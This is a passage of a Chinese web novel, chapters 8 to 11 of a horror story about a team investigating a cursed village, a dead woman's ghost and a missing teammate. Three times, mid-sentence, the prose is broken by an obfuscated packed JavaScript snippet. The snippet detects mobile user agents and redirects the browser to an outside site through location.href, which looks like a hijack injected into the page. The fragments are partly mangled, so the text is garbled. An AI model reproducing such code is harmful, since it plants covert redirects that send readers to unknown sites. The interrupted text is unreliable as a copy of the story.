有归之所以没从那个悬崖上跳下去,除了感受到世界锚点,怕有倒霉蛋误入这里之外,还有一个原因就是这个幕后黑手。她自认自己这么多年来虽然没什么长进,但也不至于这么轻易就被人算计,尤其还是与时空折跃技术有关的穿越。她暗自咬牙,不管这个幕后黑手有什么目的,她都要抓住“它”,哪怕拼上性命也在所不惜。 乱七八糟发散了一通,有归把注意力放在眼前的事情上,他们此行的任务已经很清楚了——总共两个目标:一是弄清楚当年的真相,知道这一点后自然明白隐藏在孟溪村背后的存在到底是什么,还有“它”的目的;二是那个毁灭孟溪村的东西到底是什么,‘它’为什么要毁灭孟溪村,又是怎么做到的。 任务一因为卡在了沈凌璧的遗物这一步,进度完全推不下去,至于另一个任务,他们获得的线索就比较多了。大雾弥漫,鲜血淋漓——在他们找到的那些纸条里,“鲜血”出现的频率并不算低。 【我看见了,那个女人,她身下都是血……】 【我要疯了,每天晚上我都会梦到一个大着肚子的女人,后来有一天我听到女人痛苦的呻吟和惨叫,再梦见那个女人,她的肚子已经瘪下去了,下半身全是血,她的孩子呢?她的孩子去哪了?】 三分之一的占比,而且都与一个女人有关。这个女人到底是谁?在她身上,又发生了什么? 8. 第 8 章 黎重看完后,又翻出一张纸条,正摆在这两张纸条的下面,于是就变成了: 【我看见了,那个女人,她身下都是血……】 【我要疯了,每天晚上我都会梦到一个大着肚子的女人,后来有一天我听到女人痛苦的呻吟和惨叫,再梦见那个女人,她的肚子已经瘪下去了,衣服上全是血,她的孩子呢?她的孩子去哪了?她的孩子去哪了???!!!】 【怪物,这个村子有怪物,我看见那些孩子变成的怪物,它们都来自村子后面的山上。】 这三条摆在一起,顺着看下来,惊悚效果拔群。 周嘉语说:“所以这几张纸条可能说的都是同一件事?先是纸条二的主人梦到一个女人怀孕了,后来听见她的呻吟和惨叫声,再就是纸条一写的她的身下全是血,然后转回来纸条二的主人也说全是血,还说她的孩子不见了,结合纸条三看,她的孩子变成了后山的怪物?” 未来时代繁衍生息从最初开始就不是男女结合、家庭式的了,而是采用已经非常成熟的基因筛选转生产线培育模式,生命的孕育在专门培养仓中完成,而不是通过女性的身体。生命诞生在专门的机构,过程是平静祥和的,而不会伴随着女性的撕裂和痛苦,人们迎接新生命只有喜悦和激动。 所以周嘉语试图用自己的语言解释这些内容,果然解释的一塌糊涂。 “看描述,应该是大出血,是难产导致的大出血吗?”有归说。 几人都转过头来看着她,问:“什么是难产?” 有归从自己终端里默认保存的那些古早资料里搜索出有关资料,让他们自己看,那些似乎散发着血腥味的文字和图片看得众人脸色惨白,颤着声音问:“这这这这这这......她能活下来吗?” 有归沉默了很久,摇头道:“从这些纸条来看,她没有活下来。” 众人转头看着那三张纸条,心境和刚才完全不一样。纸条上写只听到女人的声音,却没有婴儿降生的啼哭,后面又问孩子去哪了,在这种地方生产时遇到大出血,大人小孩都不可能活下来。 有归长出一口气,看着桌上的纸条,从这些内容来看,女人的难产恐怕另有隐情。人们看见的听见的这些,是过往重现,还是单纯的幻觉?海市蜃楼是被扭曲的现实景象,不管人们所见是哪一种情况,这样的事情一定是真实发生过的,就在他们现在所在的这个孟溪村。 而在古云国地区的传说中,有着这样遭遇的人,因为死时一口怨气难散,一般会化作厉鬼归来报复那些对不起她的人。 然而传说终究只是传说,不管女人最终变成了什么,只看孟溪村如今的模样,就知道她并没有成功。其实如果不是那个老婆婆和规则纸条,恐怕直到真正有人出事,他们才会发现孟溪村美丽祥和的表面之下,狰狞恐怖的另一面。 黎重指着第二张纸条,说:“开头字迹还算工整,后来越来越潦草,写到最后几乎都要辨认不出是什么字了,还有这一连串的标点符号,这人的精神恐怕已经崩溃了。” 他说的委婉,但几人都明白他的意思,这人已经疯了。 一个疯子留下的疯言疯语,在意识最后清醒的时刻,他写下了这些。女人不断重复自己死亡前后的情景,一个几乎被这些景象逼疯的人却如实记录了下来,他在最后明白了什么?她、他们究竟想告诉后来人什么呢? 第三张纸条上说的那些孩子变成的怪物,是否于此有关? 有归倒是知道,在贫穷落后的年代,人们自顾不暇,自然不会特意安葬早夭的婴孩,而是随意丢弃,山上、水沟、路边都有可能见到那些婴孩的尸体。如果女人的孩子生下来就死了,的确很有可能被丢弃到后山上。 来自后山上的婴孩变成的怪物,到底代表了什么? 惨死的女人,夭亡的婴孩,不断重现的死亡景象——这三者之间的有什么内在联系吗?,恐怕要先知道女人是谁,她经历了什么 有归在终端写下了记录: 【待解决的问题:女人是谁?她经历了什么?后山的婴孩为什么会变成怪物?这意味着什么?】 既然已经知道问题所在,接下来就该对症下药。 关于女人的事情,可以在孟溪村和村民们打听,但这个难度恐怕是呈指数级上升的。有归看着众人,还在思考谁去做这件事,周嘉语已经自告奋勇毛遂自荐了。 行吧,周嘉语挺健谈的,看她对自己的态度,很自来熟,打听消息这种事,还真是她最合适。 【第二天7月13日行动计划 事件一:女人的死亡复现 调查地点:孟溪村 调查内容:女人的身份,以及她在孟溪村的经历 调查人员人员:周嘉语 注意事项:一切行动都要在保证自身安全、不引起村民怀疑的情况下进行,事有不对立刻离开;及时沟通及时联系】 有归想了想,又添上了周嘉文的名字。她目前的打算是把他们七个人分成三组,三组并行,最大限度提升效率。她、周嘉语、黎重分别带队,强拆兄妹组有些缺德,她想着艾莉安的表现,估计挺怕自己的,不知道她和黎重组队行不行。如果不愿意的话,那兄妹组就加一个人,发小组拆开,她不知道戴洪乐其实挺怕黎重,满心想着自己可以压着卢易斯让他少作妖,就在心里敲定了分组。 至于后山的情况倒不是很急,有归只是把这个地点列了出来,调查人员那里写上自己的名字,其余的都是空白。只是黎重看见了,在有归后面加上了自己的名字,抬头解释道:“安全起见,每次行动至少两人组队。” 这话是说的不错,但她们两个一起未免行动有些浪费,也耽搁时间。不过黎重好心,有归也不好立刻把他的名字换掉,那多让人难堪。她一向都是听别人话的那个,虽然后来很多年都没人敢指挥她,但她指挥别人确实是头一遭,是很新鲜的体验,也很麻烦。如果可以,她情愿自己一个人行动,可惜不行,那只能慢慢磨合了。 新手指挥家腹诽,然后兢兢业业带领自己的新团队一起适应新环境了解新工作。她没看见周嘉语在黎重添上自己名字的时候那意味深长的表情,黎重回头脸上绽开一个笑,两人视线交锋,发小组和艾莉安低着头当没看见,周嘉文有些无奈。 "说起来这几条对照起来看也很有意思。"有归的话吸引了几人的注意力。 【怪物,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412497|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个村子有怪物,我看见那些孩子变成的怪物,它们都来自村子后面的山上。】 【不要醒来不要醒来不要醒来不要醒来不要醒来不要醒来】 【天黑后,无论村民还是外来者,都严禁在村中游荡,尽早上床睡觉;请记住,孟溪村是淳朴和谐的乡村,如果晚上听到什么声音,那都是你的幻觉,把被子拉到头顶尽快入睡,是这时候最明智的选择。】 这三条摆在一起,生动形象地说明了什么叫做欲盖弥彰和不打自招,真是绝了。 艾莉安喃喃:“可是我还是不明白,既然后山的怪物那么可怕,为什么只要睡觉就可以躲过?是有什么奇怪的机制设定吗?” 有归沉思片刻,笑道:“或许我们可以小小的试探一下,说不定这些都是故意吓唬我们的呢。” “比如呢?”周嘉语很怀疑她说的试探是什么。 “比如我们今晚一起熬个夜,看看是不是真的有怪物会来找我们?”有归笑吟吟地说了个馊主意。 卢易斯小声道:“万一规则都是真的呢,那我们岂不是全军覆没?” “是这样没错。”她看过去,说,“所以不要灵光一闪寻思着这样做是不是可以就去做了,真出了事谁也救不了。” 这样明晃晃的警告让艾莉安低下了头,卢易斯缩着脖子不敢再说话,有归也没有再管他们。好言难劝该死的鬼,她不会丢下任何一个队友,但如果真有人上赶着出幺蛾子,她也不会非拦着不让他们去找死。 戴洪乐左右看看,他这会儿倒是比较敢说话了,“那是不是说,只要我们天黑立马上床睡觉,一觉睡到大天亮,就不会有事?” “这么做恐怕不行,”周嘉语正看规则纸条,闻言抬头道。 纸条规则第四条,祠堂是孟溪村的重地,外来者严禁进入。 纸条规则第五条,村子东北角的破屋是孟溪村禁地,严禁任何人进入。 纵观整个怪谈规则,只出现了三个具体地点,分别是村西小楼和祠堂、东北角破屋。前者专供他们这样的外来人员居住,后两者却是禁地,尤其是那个破屋,连村民们都不允许进入。有归抬头,黎重和周嘉语恰好看过来,三人视线交汇,有归道:“要不要打个赌?我猜这两个地方都藏着重要线索,尤其是破屋,恐怕大有隐情。” 一看就知道的事没人跟她赌,众人都盯着这两个地点,似乎想透过纸张看出什么来。连卢易斯都明白,就算怪谈规则已经明示这两个地方藏着什么,在时机成熟之前,他们也绝不可能进去查看:一是不知道有什么禁忌,孟溪村表面上看着挺正常,其实细思极恐,万一这两个地方就是打开异样的开关呢;二是他们对里面的情况一无所知,这两个地点又藏着多少凶险,他们贸然探访恐怕就是送菜。 哪怕是有归,除非有把握全身而退,或者是被逼到绝境不得不赌一把,不然她也不会冒这个险。 她把探访祠堂和东北角破屋这两个计划单独放在一页,然后看最后一张纸条的内容: 【这个村子把唯一的水井修在村口那里,“有石入口,有口难言”,难道这个村子还隐藏了什么秘密吗?】 这张纸条,是在说孟溪村的风水问题? 9. 第 9 章 进村的时候被任务催着走,一门心思打听小楼在什么地方,还真没注意到村口那是不是真的有一口水井。 这倒是提醒了有归,她在明天的行动计划最前面添上一笔,于是变成了: 【第二天7月13日 事件一:孟溪村的整体布局 调查地点:孟溪村 调查人员:特别行动小组全体队员 调查内容:掌握孟溪村的整体布局情况,尤其要弄清楚东北角破屋和祠堂所在的具体方位,绘制村居建筑布局图,以便规划路线】 她写完抬头问道:“你们有会画画的吗?用笔在纸上画的那种。”问是问了,其实心里没抱太大希望。人们过于依赖科技的后果之一,信息的储存和传播基本依靠终端进行,除开某些特定的机构依旧需要利用纸张备份留存之外,日常生活很少会用到纸,更遑论在纸上书写画画了。 “我可以试试吗?”是艾莉安,她低着头,声音细如蚊蚋,不安地捏着手指。 一个本子一支铅笔加一块橡皮递到了她面前,艾莉安直接呆住,有归把东西放她怀里,说:“这个图不用画的很精细,但位置一定要准确,门窗也要标注出来......” 艾莉安忍不住问:“你不多问几句吗?不怕我把事情搞砸吗?你为什么就这么放心把这件事交给我?” “因为我们人手不够,因为时间紧迫,因为我们现在是伙伴。”有归想都没想,就回答她。 谁让这次进来的总共是七个人呢。如果只有她一个,大不了她一路莽过去,虽然结局未知,但也不必这样束手束脚。可惜不是,那她就要对其余六个人负责,他们的性命都担在有归的肩上,让她处处思虑,生怕哪里没有想到出了意外。这样一来,人手完全不够,要做的事情太多,而能够独当一面的满打满算也就她、黎重和周嘉语三人,而他们现在是在和死神赛跑,早日完成任务早日离开这个鬼地方,她才能安心。 现在有人主动分担,她高兴还来不及,绘制孟溪村的布局图并不是什么特别重要的事情,只是有备无患,外加一点知己知彼百战不殆的心理作祟。而且这次是大家一起行动,虽然后面可能要分开,但绘图的人是和周氏兄妹一起,周嘉文她不清楚,但周嘉语可不是会放任别人在她眼皮私下作妖的人。 有归没什么不放心的,在这个地方就算想要投靠对手,也找不到人。至于拿他们当投名状向村民示好这种事,就规则怪谈和纸条以及日记本上透露出的内容,村民们现在还是不是人不清楚,不太正常是真的,别好没卖成,把自己也给坑了。他们团队里应该没有蠢到敌我不分的人,应该没有...吧。 “还有一件事就是,我们以什么身份在村子里活动?”有归轻轻敲着桌面,那张规则纸条明面上看只有五条规则,实则还有一条隐藏的扮演规则——外来者,这是规则纸条对他们的称呼,这意味着他们需要扮演的是一个误入此地的角色。不管这里发生过什么,内核如何,但看上去还是一个正常的世界。既然如此,他们想要在村子和周边自由活动搜集线索,就需要一个合情合理的身份。 在新历999年,翻山越岭不辞辛苦来到这样一个地方,还跟村民们打听这打听那,到处乱逛的又不会引起怀疑,恐怕只有...... "来这里采风收集素材寻找灵感的作家?"周嘉语想起自己从前演过的某部剧,就是剧作家到处采风,从而创作的作品。 其实有归想的是热爱旅游的驴友,从前和她一起生活过的墨姐姐墨闲倾就很喜欢到处跑。不过这个时候云国确实没什么驴友,更遑论跑到这样的大山深处来,得到新历1020年左右才会出现人类足迹遍布世界各个角落的景象。 作家采风确实是一个非常好的借口,但问题是谁来扮演这个作家,而且他们这么多人,又该怎么安排? 周嘉语显然是经过深思熟虑的,“我是剧团的首席演员,这次采风是为了我的新剧做准备,剧团很重视这次的剧本,作为女主角的我为了能有更好的表演,趁着休假跟来了。我的哥哥周嘉文是剧团的知名编剧,这次剧本由他来操刀,有归是剧团看好的接班人,黎重是这次剧目巡演的策划,艾莉安、戴洪乐和卢易斯是助理。” 说着,她稍稍抬起下巴,眼眸半眯,整个人的气场都不一样了,仿佛这简陋的小楼化身大剧院,并不宽阔的厅堂变身华丽舞台,而她是这一方天地的主宰,是唯一的王! 几人看得一愣一愣的,周嘉文笑容里有几分怀念,有归彻底呆住,周嘉语这番模样和记忆里的某些片段莫名重合了。 黎重轻咳了一声,有归把纸笔都拿了出来,有些是之前在小楼里找到的,有些则是她自己随身带的。每人分到了一个本子两支笔,几人都惊呆了,卢易斯忍了又忍还是没忍住:“你的随身空间就用来放这个?” 随身空间是“桃花源”计划的产物之一,和终端一样具有唯一性,与个人基因编码终身绑定。是一个背包大小的独立空间,因为与终端连通,危险物品一律无法放入,一般都是放些随身物品,比如换洗衣物之类的,还有营养剂愈合剂什么的,就没见过往随身空间放一堆日常生活中早就用不上的纸笔的。 有归说:“不是全放这个,也带了换洗衣服,再说带这些东西怎么了,这回不就派上了用场?” 众人无言,这大概叫瞎猫碰上了死耗子吧,谁会想到他们竟然会来到这么落后的地方,还正好他们必须有所记录,哪怕是装装样子,那也得有必要的摆拍工具。那个日记本的主人,那些在书房留下纸条的人们,他们都死了,无法知晓他们死亡的原因,但从老婆婆口中,还有纸条上的内容来看,孟溪村恐怕处处是陷阱,他们只能小心再小心。 想象一下,如果在和村民交谈的时候,被问一句“你怎么不记下来”,却什么也拿不出来,后面会发生什么恐怖的事情。 众人都非常小心的把笔和本子收了起来,这也是很有年代感的东西了,都有小小的星星标记,像是星际移民计划早期的产物。 笔帽上的闪亮金星在掌心印出一个小小的印记,笔身被手掌捂得温热,黎重看见有归用指尖灵巧的转着笔,动作十分熟练漂亮,然后又继续操作终端。 因为最前面加了一个全员行动,原本的事件一变成了事件二,有归看着那张说孟溪村风水不对劲的纸条,加了个事件三。 【事件三:孟溪村的风水格局 调查地点:西山 调查人员:有归35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412498|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 调查内容:确认孟溪村的风水是否真的有问题,人为还是意外】 西山,也就是小楼旁边的那座山峰,有归之前观察过,这座山的山顶就是附近的最高点,从这里俯视孟溪村,可以把整个村庄的情况都纳入眼中。既然孟溪村的局部风水有问题,那整体的格局是不是也有变化呢?而且有一件事有归在意很久了,那就是西山靠近山顶位置的那个风蚀洞,就算没有这张纸条,她也会上西山,实在是很有意思的风水格局。 周嘉语十分惊奇:“你还懂风水?” 她是真的惊讶,实在是有归看上去好像基础教育都没完成的样子,未来时代的基础教育是十五年制,从幼儿园一直到上大学前。虽然可能大概也许,有归实际是天才中的天才,就那种儿童时期就展现不凡,甚至被未科院看中早早过上牛马生活的那种天才。对此,黎重周嘉语心照不宣,周嘉文本人没什么想法,戴洪乐倒是隐隐有这样的猜想,不然他也不会拜托有归那样的事情。 但天才也是有上限的,怎么有归知道的就那么多,难不成博学是进入未科院的少年天才的实际门槛? “也不算懂,只是有一些了解,因为有点兴趣,后来专门找了资料来看。”有归答的随意,然后就见周嘉语在她的名字后面添上了黎重和发小组。 她眨了眨眼,周嘉语说:“之前不是说过,两人以上结伴才可以行动,怎么转头就忘了?” 倒不是忘了,而是有归压根没有自己必须和人一起行动的想法,不过看周嘉语的表情,大概是不会让她一个人行动的。 有归怏怏,“就算是这样,人也太多了,又不是去踏青。” “女主角和编剧带一个助理在村里采风,策划却放任年纪还小的接班人和男助理在一起,自己和另一个男助理去看风景?”周嘉语知道她的想法。 好吧,说的在理,有归默认以后的队伍都照此分配。 最后众人确认过明天自己的行动,看天已经晚了,随便喝点营养剂什么的,赶紧睡觉去。虽然之前有归玩笑说集体熬夜,但其实就像恐吓不听话的小朋友一样,让有异心的掂量下自己是否承受得起后果,哪里真敢无视纸条规则的警告?后面还有他们在小楼找到的两张纸条佐证,这种时候莽上去那不是找死吗? 小楼上下各两间房,一共四间,他们七个人三个女生四个男生完全可以住下,怎么分配倒是一个大问题。 最简单的分配方法就是女生们一间房,黎重和周嘉文住一间,连体婴的发小组一间。艾莉安左右看看,磨磨蹭蹭地过来拽了拽周嘉语的衣角,周嘉语没吭声,只是看了她一眼作为回应,转身正要招呼有归,却见她对自己摆摆手,指了指楼上,然后径直走向一楼走廊右边的房间。 周嘉语呆了呆,没反应过来,正要跟上去,艾莉安拉住了她的手。她顿了顿,没回头,而是看向黎重,示意他跟上去。 不管有归脑子有多厉害,看上去那么瘦瘦小小的一只,怎么都不可能让她一个人住。同理,她也没法放任艾莉安自己一个人,周嘉语看了一圈,有归那里她不行还可以换一个,艾莉安这里就没办法了。黎重跟有归更熟悉一些,周嘉语就选他了。 黎重点头,表示自己知道。 10. 第 10 章 周嘉语简直想叹气,本来今天开开心心参加游戏内测,结果变现实向真人惊悚冒险不说,队伍人心也不齐,但周嘉语已经没心情掰扯了。就先这样吧,有事明天再说。 卢易斯戴洪乐两人已经组队上楼选了左边的房间,她想了想以目前的分配,其实她哥塞哪队都挺尴尬的,就回头招呼她哥和她们一起上楼,还是和她们去打地铺吧。 另一边有归正在打量房间的布置,她选择那间靠近前院和厅堂的大门,和上二楼的楼梯也很近,只要有人进出小楼,或是二楼有什么动静,她都可以第一时间察觉到。 她看到黎重也进了屋还怔了下,然后才反应过来是什么情况。揉了揉鼻子,有归心说带队伍是挺不容易的,她赶鸭子上架的第一次难度就这么高,debuff叠满了啊。 不过这种事多想无益,她就把心思都收回来,继续关注眼前的情况。 房间并不大,一目了然,中间一张床,床头朝向大厅的方向,靠门放着书桌,另一边则放置着一个大衣柜。这个衣柜大的有些突兀了,有归打开柜门,里面放着一摞折叠整齐的衣服,都是适合户外活动的宽松舒适款;男款女款都有,当初住这一间房的似乎是一对情侣,还是夫妻? 如果是陌生男女同住一间房,比如他们两个,再怎么样也不会把衣服混着放,这种行为过于亲密了。 衣柜的角落放着一个急救箱,是打开的状态,里面还有一半物品。有归随手拿起一支膏药,上面的生产日期写着995/12/24,这个日期非常接近日记本主人来到孟溪村的时间。衣柜里还有一个小包,里面装着杂七杂八的小物件,其中有几张卡片,正面印着漂亮的图案,背面则写满了字,与其说是书信,倒不如说是随笔: 这是来到孟溪村的第五天,原来已经来了那么多天了啊。今天到处逛了逛,这个村子和我想象中的乡村不太一样呢。不过这里的风景的确美丽,村民们很热情,村长也很和善,如果不是交通真的很不方便,我肯定会把这里列为养老的备选地之一。 落款的名字是柳笙。 有归拿出日记本,字迹是一样的,原来日记本的主人叫做柳笙。真是个好听的名字。 “你看这个。”黎重翻到了两张小卡片,她接过来一看,是这个时代云国通用的身份证,一共两张。 身份证上贴着照片,有着温柔眼波、过肩长发的女孩是柳笙,她出生于973年4月23日,家在云国东南的鸿凌市市,眉眼清俊、黑发细碎的男生叫做沈希源。包里还有两人的一张合照,男生搂着女孩的肩膀,微微低着头,女孩则微仰着脸,他们的头顶是细挑的柳枝,身后是浩瀚烟波,风景如画,两人是这幅画中点睛的一笔。 男俊女美,爱意满溢,是非常赏心悦目的一对。有归多看了几眼,把东西都归置在一起,笑道:“事情越来越有意思了。” 黎重看着那些东西,笑得无奈:“是啊。” 之前没有发现的东西,忽然堂而皇之地出现在他们面前,怎么不算有趣呢。 床不算小,两人和衣躺下中间都还能再睡一个人。黎重平躺着,身上搭着一条从柜子里拿的薄被,游戏人的睡觉时间没有这么早,他看着被黑暗笼罩的房间,那种逼人的寂静让人有些窒息。他侧头看向有归,小姑娘睡觉姿势很规整,手搭在肚子上,呼吸清浅,睡得很熟的样子。 他笑了笑,也闭上眼睛。 对于如此快进入梦乡这件事,有归是完全没有准备的,她选择这个房间本来就有点守夜的意思,就算是休息意识都是警醒着的。她原本是打算闭目休息一会儿的,顺便复盘一下今天的事情: 有一件事情她觉得很奇怪,按照黎重的说法,对于《珈登希露得》的存在,未来政府和研究院应该是有所察觉,或许已经掌握了部分资料。但有些地方又不太对劲,这款游戏背后的制作公司创世科技,掌握着超出自身能力的时空跃迁技术,幕后之人疑似噩梦乐园那样的诡异存在,未来政府的反应就只是删帖? 作为官方的嗅觉灵敏度呢? 这里面绝对有问题,但有归就算有再多的想法,也只能等回去再说了。 还有那个日记本,里面一直提到的窥视感,这是什么意思呢?日记本的主人是柳笙,是一名女性,她是那几张纸条之一的主人,还是纸条中描绘的不断重现自己死亡景象的人呢?纸条都是在书房找到的,书房有什么特殊之处吗?看来明天还需要再仔仔细细地搜查一遍。 还有写下那些纸条的人,是怎么来到这里的?孟溪村这样的地理环境,不存在误入此地的人,来到这里的人,必定抱有别样的目的,无论是被迫还是主动。 屋外有一粒星子坠落,有归忽然明白了柳笙所说的那种无处不在的窥视。 有人在注视我?打量我?监视我? 大脑升起一阵绵密的疼痛,仿佛有针扎在里面,四周的空气变得粘稠而难以流动,油画似的色彩混杂光怪陆离,红的愈红,蓝的愈蓝,黑的更黑...... 半空中浮现出一只巨大的眼睛,没有任何情感色彩地看她一眼,随后消失不见。漆黑的夜空群星璀璨,每一颗星星都是一只眼睛,有的眼神空空,有的满怀恶意,有的戏谑,有的冷漠,还有的轻蔑。她被这些视线注视着,仿佛一个在舞台上独自演着滑稽剧的小丑,头顶的每一只眼睛都是一个观众,祂们居高临下,俯视着她。 祂们在审视她! 像是配合她表演一样,音节古怪的低语响起,时而癫狂,时而细密,时而迷幻,时而诱人。 这低语是如此诱惑,挑逗着她的神经,引诱她发疯发狂,引诱她不顾一切地大喊大叫,引诱她跪倒在地痛哭流涕,引诱她匍匐于地膜拜真神...... 有归本能地抗拒,那呢喃的细语更加蛊惑地在她耳边响起,钻进她的脑袋,在里面一阵翻江倒海。 大脑已经或许变成了流动的脑浆,她什么也没感觉到,但有温热的液体从耳朵流了出来,从眼睛流了出来,从鼻子流了出来,从嘴巴流了出来...... 她已不能思考。 她已不能看见。 狂乱的色彩包裹着她,癫狂的低语环绕着她,那些眼睛注视着她,毫无情绪地注视着她,直到真正的星辰亮起...... ——有归睁开眼睛,耳畔有清淡的呼吸声,巨大的月亮横在窗外,清冷的光从窗户射入,像水一样铺在地面上。 当她慢慢把目光移到窗边时,忽然屏住了呼吸。 窗边竟是出现了一个身影,站在月光照不到的阴影里,背对着有归,似乎在专心欣赏外面的月色。 这一幕简直就是恐怖片里的经典场景,饶是有归身体也僵了片刻。好在她很快反应过来,从床上坐起,低声喝道:“你是谁?在我房间里想要做什么?” 那身影顿了顿,从阴影处走到窗边,长长的黑发从肩头滑落,月光穿过窗户投在她身上,有归看见一张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412499|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这张脸入睡前她才见过。 柳笙! 有归只觉全身的血液都被冻住了! 眼前的柳笙和照片上的相比变化极大,原本光洁如玉的皮肤失去了光泽,变得粗糙蜡黄,丰盈饱满的苹果肌也瘪了下去,眼眶凹陷,整张脸像是一层薄薄的皮绷在骨头上。 身体也像一个骷髅架子似的,衣服套在身上空荡荡的,仔细看,那衣服颜色黑沉沉的,空气中仿佛弥漫着浓重的铁锈味,再看那衣服,像是鲜血凝固后的黑。 “柳笙,”有归轻轻唤她的名字。 柳笙微微侧头,一根手指竖在唇前,眼睛依然看着窗外。她做这个动作很好看,虽然已不是当时人,却依旧留着几分俏丽灵动。有归心里泛起一阵难过,顺着她的视线看去,月色的辉光之下,孟溪村有一种静谧的美。看着看着,四周的事物好像抖动了一下,变得模糊,好像笼罩了一层又一层的雾,那雾愈发浓重,翻涌着,其中掺杂着一丝不易察觉的血红。 有归耐心等待后面的变化,就在这时,二楼忽然有了动静。先是一声喝骂,紧接着是一声惨绝人寰的尖叫,她都听出来这都是卢易斯的声音。一阵杂乱的响动后,房门被打开,有人从屋子里冲出来。 她下意识地看了一眼窗边,柳笙已经不见了。 有归立马掀了被子下床,拉开房门冲了出去,但还是晚了一步。卢易斯不知道哪来的力气,噔噔噔飞快地下了楼,然后打开大门跑了出去。除开看柳笙的那一眼,她一点都没耽搁,可还是没有拦住他。 甚至连他的背影都没看见。 只看见洞开的大门,和洒了一地的月光,远处依旧漆黑一片,是山的影,是树的影,是蹲伏在黑暗中吃人的兽。 屋外的风从门里猛地灌进来,风声咆哮,又有不知何处传来的丝丝缕缕的呜咽声响,在厅堂中交织,霎时间鬼哭神嚎,非常应景,非常提神。 有归站在风口,衣衫飞舞长发飘扬。她看着眼前平静得犹如死亡世界的村庄,没有狗吠,没有鸡叫,这么静的夜里,小楼这里闹出这么大的动静,村子里没有一家亮灯,便连最近的一户人家也没有动静,村里的房屋都是木制的,隔音效果都不好,但她什么声音都没有听到,没有咳嗽的声音,没有翻身的声音,也没有睡梦中的呓语。 她忽然感到莫名的惊恐。 紧跟在她身后出来的黎重点亮了大厅的油灯,他拿之前在房间里找到的打火机点上,昏黄的灯光给厅堂披上了一层陈旧的面纱。有归不知自己为何会产生这样的情绪,巨大的伤感攫取她的心神,她忽然落泪,不明白自己为什么会这样,直到一只温暖的手落在头顶,她抬头,看到黎重微笑的脸。 黎重把帕子递给她,她不接,他想了想也不能就让她在这迎风流泪,对皮肤不好,只好认命地给她擦眼泪。有归怔怔仰头看他,眼泪流的更凶。她忽然蹲下身体,把头埋在手掌间,之前在一屋子痛哭的人群中连眼眶都没红的人,此番却情绪崩溃。 她不明白自己为什么会这样,但她确实不想继续这个劳什子游戏,她只想回家,她想要回去,回到过去。 男人手里捏着手帕,一脸无奈地看着地上小孩似的有归。二楼又传来门开合的声音,急促的脚步声很快踏上楼梯,黎重本来想提醒她,却见她猛地站起来,伸手抢过他手里的帕子在脸上抹了两下,然后又把手帕塞进他怀里。 黎重:...... 这小孩还能要吗? 11. 第 11 章 能不能要的黎重也只能自己受着了,等他把手帕收好,戴洪乐已经跑下楼梯。环顾大厅,只有有归和黎重,和洞开的大门。哪怕心里已经有了猜想,他还是忍不住怀抱一丝希望开口:“他呢?” 他眼里有着异样的光彩,有归不忍心看,别过头说:“他跑的太快了,我拦不住他,不知道往那个方向去了,没法追。” 戴洪乐的眼睛忽然黯淡下来,身体仿佛失去支撑似的跌落在地,离他最近的黎重赶紧扶住他,让他在椅子上坐下。触碰到他的身体才发现,他全身都在发抖,有归端来了水,但他手抖到握不住杯子,直接掉到地上碎掉了。有归一把抓住他的手,说:“看着我的眼睛,什么都不要想,深呼吸,冷静下来......” 有归盯住他的脸,看他脸上惊惶的表情渐渐平静下来,这才放开他。黎重又端来一杯水,戴洪乐慢慢喝完,人也渐渐放松下来。这时二楼周嘉语三人所在的房间也有了动静,没一会儿,大厅中又是众人齐聚。 周嘉语见少了一个卢易斯,心里也就有数了,低声向有归询问刚才发生的事情。她们三个都睡得很熟,艾莉安胆子小,甚至手搓了几个纸团,劝说她们塞进耳朵里,免得中途醒来听到可怕的动静。其实如果不是周嘉语阻止,她甚至想吃助眠的药。也因此,她们的反应慢了一些。 见戴洪乐依旧惊魂未定,几人都没有说什么,只是默默地陪他坐着。周嘉语见有归低着头,牙齿紧咬着下唇,伸手揽过她的肩膀,柔声道:“每个人都该对自己的生命负责,而不是交给别人来担负。” 因为终端共享,周嘉语清楚地看见,直到半夜12点卢易斯还在使用终端看小说,而且还是恐怖小说,然后那本小说的页面就一直停留在12点时的使用状态,再没有动过。很明显,卢易斯在这个时间点遭遇了什么。 有归低头不语。她不应该睡着的,她曾经在奔逃了三天三夜后又坚持两个日夜直到彻底安全,那样极度疲惫的情况下她都没有立刻睡着,而是回到基地后才放松下来。 可她却非常迅速的入睡了,在这样的情况下,卢易斯也不出她所料的,压根没有把规则纸条的警告她的劝告放在心上。真是爱作妖又爱作死,也果然把自己坑了,但为什么是半夜十二点呢? 